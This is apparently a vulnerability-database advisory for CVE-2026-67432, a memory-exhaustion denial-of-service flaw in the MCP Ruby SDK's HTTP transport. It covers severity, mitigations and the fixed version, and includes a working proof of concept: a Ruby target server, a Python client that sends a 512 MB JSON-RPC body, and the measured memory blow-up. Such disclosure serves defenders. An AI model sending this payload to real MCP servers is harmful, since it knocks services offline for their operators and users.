CVE-2026-67432 is a high-severity (CVSS 7.5) CWE-770 vulnerability in mcp. A fix is available for mcp — see the affected versions and patch details below.
MCP Ruby SDK: Unbounded JSON-RPC request body causes uncontrolled memory allocation in StreamableHTTPTransport
Exploitation Status
No confirmed exploitation observed yet
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-67432.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
CVE-2026-67432 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.
Where this sits among everything scored
Of 383,485 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.
Real-World Exposure
mcpReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects RubyGems packages — download data is not available via public APIs for these ecosystems.
Description
Summary
An unauthenticated remote attacker can force any MCP Ruby SDK server using MCP::Server::Transports::StreamableHTTPTransport to allocate gigabytes of memory by sending a single oversized JSON-RPC POST. The transport reads the entire HTTP body into a Ruby String and parses it with JSON.parse(body, symbolize_names: true) with no size limit, no Content-Length pre-check, and no streaming parser, allowing trivial denial of service against the worker process.
Affected component
lib/mcp/server/transports/streamable_http_transport.rb, method handle_post:
- Line 341:
body_string = request.body.read— reads the full HTTP body into memory with no upper bound. - Lines 531–535:
JSON.parse(body_string, symbolize_names: true)— fully materialises the parsed object graph; withsymbolize_names: trueevery JSON key also allocates a Ruby symbol.
The vulnerable path runs before session validation, so it is reachable in both the default stateful mode and in stateless: true mode, without an Mcp-Session-Id header and without any prior authentication.
A second instance of the same root cause exists in lib/mcp/server/transports/stdio_transport.rb:23 ($stdin.gets with no limit: argument). The practical impact there is limited because the stdio peer is normally a trusted parent process, but the fix should cover both transports.
Proof of concept
Both files below are self-contained. Save them anywhere on disk, run the server in one terminal and the client in another. The only dependencies are the SDK's existing Gemfile entries (rack ~> 3.2, rackup >= 2.1.0, webrick ~> 1.9) and Python's standard library.
Server (oom_poc_server.rb)
require "bundler/setup"
require "mcp"
require "mcp/server/transports/streamable_http_transport"
require "rackup"
require "webrick"
require "rackup/handler/webrick"
server = MCP::Server.new(name: "oom-poc-target", tools: [])
transport = MCP::Server::Transports::StreamableHTTPTransport.new(
server, stateless: true, enable_json_response: true,
)
Thread.new do
loop do
rss_mb = `ps -o rss= -p #{Process.pid}`.to_i / 1024
STDERR.puts("[mem] PID=#{Process.pid} RSS=#{rss_mb} MB")
sleep 2
end
end
STDERR.puts("[poc] listening on http://127.0.0.1:9293/")
Rackup::Handler::WEBrick.run(
transport,
Host: "127.0.0.1", Port: 9293,
AccessLog: [], Logger: WEBrick::Log.new(File::NULL),
)
Client (oom_poc_client.py)
import socket
HOST, PORT, PAYLOAD_MB = "127.0.0.1", 9293, 512
inner = b"A" * (PAYLOAD_MB * 1024 * 1024 - 64)
body = b'{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"x":"' + inner + b'"}}'
headers = (
f"POST / HTTP/1.1\r\nHost: {HOST}:{PORT}\r\n"
f"Content-Type: application/json\r\n"
f"Accept: application/json, text/event-stream\r\n"
f"Content-Length: {len(body)}\r\nConnection: close\r\n\r\n"
).encode()
s = socket.create_connection((HOST, PORT), timeout=120)
s.sendall(headers)
for i in range(0, len(body), 1 << 20):
s.sendall(body[i:i + (1 << 20)])
print(f"sent {PAYLOAD_MB} MB")
try:
print("recv:", s.recv(2048)[:200])
except OSError as e:
print("server unresponsive:", e)
Reproduction commands
bundle install
ruby oom_poc_server.rb # terminal A
python3 oom_poc_client.py # terminal B
Observed result
Tested on macOS, Ruby 3.2.4 (rbenv), against the SDK's main branch with rack 3.2.6 / rackup 2.3.1 / webrick 1.9.2:
[mem] PID=61394 RSS=44 MB # idle baseline
[mem] PID=61394 RSS=44 MB
[mem] PID=61394 RSS=44 MB
[mem] PID=61394 RSS=1663 MB # immediately after one 512 MB POST
[mem] PID=61394 RSS=1663 MB # memory not released
[mem] PID=61394 RSS=1663 MB
A single unauthenticated POST grew the worker's RSS from 44 MB to 1.66 GB (~37× amplification). On any deployment with a per-worker memory cap at or below ~2 GB, the same request OOM-kills the worker.
<img width="1588" height="836" alt="poc1-1" src="https://github.com/user-attachments/assets/13522d05-b7fa-4c05-ba65-ce8ff7d66d4f" /> <img width="1400" height="948" alt="poc1-2" src="https://github.com/user-attachments/assets/b230bf85-bed9-46ca-91cf-53ffd10306a6" />Impact
- Attacker requirements: none beyond TCP reach of the MCP endpoint. No session, no credentials, no prior interaction.
- Effect: memory-exhaustion denial of service. A single request can take a worker offline; sustained low-rate requests keep the service down across worker restarts. On multi-tenant deployments a single attacker tenant can starve neighbours.
- Affected deployments: every server mounting
MCP::Server::Transports::StreamableHTTPTransportas a Rack app — the canonical HTTP deployment pattern. Both stateful andstateless: trueconfigurations are affected.
Suggested mitigation
- Reject requests whose
Content-Length(or actual read length) exceeds a configurable threshold (e.g. 4 MiB by default) before callingrequest.body.read. - Use a streaming JSON parser, or pass
max_nesting:plus a hard byte cap toJSON.parse. - Apply the same
limit:argument to$stdin.getsinStdioTransportfor defence in depth.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 💎RubyGems | mcp | all versions | 0.23.0bundle update mcp --conservative |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for mcp, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update mcp to 0.23.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-67432 is resolved across your whole dependency graph.
Workarounds
Cap what an attacker can consume: apply request size, rate and timeout limits in front of the affected component, and run it with memory and CPU limits so exhaustion degrades one worker rather than the whole service.
Frequently Asked Questions
Is CVE-2026-67432 in your dependencies?
Find it across RubyGems, including transitive dependencies.